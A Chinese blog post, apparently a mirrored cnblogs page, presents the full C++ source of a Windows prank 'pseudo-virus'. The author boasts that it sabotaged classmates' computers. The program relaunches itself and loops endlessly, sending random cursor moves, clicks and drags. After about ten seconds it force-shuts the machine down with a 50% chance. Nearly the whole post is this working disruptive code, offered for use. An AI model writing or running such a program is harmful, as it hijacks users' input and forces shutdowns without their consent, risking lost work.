zoukankan      html  css  js  c++  java
  • 伪病毒 Rp_test

      第一个写的对电脑有破坏性的程序= =,然后发现写system的copy的时候不会用字符串替代路径,然后就萎了= =,只能写一个没有自身复制的伪病毒了,坑到了好多同学的电脑,23333.。。。

      

    //By BLADEVIL
    #include <ctime>
    #include <cstdio>
    #include <string>
    #include <cstdlib>
    #include <cstring>
    #include <direct.h>
    #include <windows.h>
    
    using namespace std;
    
    struct rec {
        int x,y;
        rec(){
            x=y=0;
        }
    }cur;
    
    int flag;
    char CurPath[100],GoalPath[100];
    
    void Recursion() {
        ShellExecute(NULL,"open","d:\Rp_test.exe",NULL,NULL,SW_MAXIMIZE);
    }
    
    rec GetAddress() {
        rec Address;
        Address.x=rand()%2000; Address.y=rand()%2000;
        return Address;
    }
    
    void Operate_Cursor() {
        rec Address=GetAddress();
        SetCursorPos(Address.x,Address.y);
        mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
        mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
        mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
        mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
        //Double Click
        Address=GetAddress();
        mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
        Address=GetAddress();
        mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
        //Drag
    }
    
    void Rp_Judge() {
        if (rand()%10<5) system("shutdown -s -t 0");
        flag=1;
    }
    
    int main() {
        freopen("Rp_test.out","w",stdout);
        Recursion();
        srand((int)time(NULL));
        while (1) {
            Operate_Cursor();
            printf("%d
    ",clock());
            if ((clock()>10000)&&(!flag)) Rp_Judge();
        }
        return 0;
    }
  • 相关阅读:
    javascript定义
    JavaScript学习笔记
    PostgreSQL数据库配置
    python 时间戳转时间 timestamp to time
    WebGIS:Vue+Flask+PostGIS+Geoserver开发环境配置
    GeoServer环境配置
    Vue前端环境配置
    Flask后端环境配置
    1.顺序表
    汇编语法--AT&T VS. intel
  • 原文地址:https://www.cnblogs.com/BLADEVIL/p/3650568.html
Copyright © 2011-2022 走看看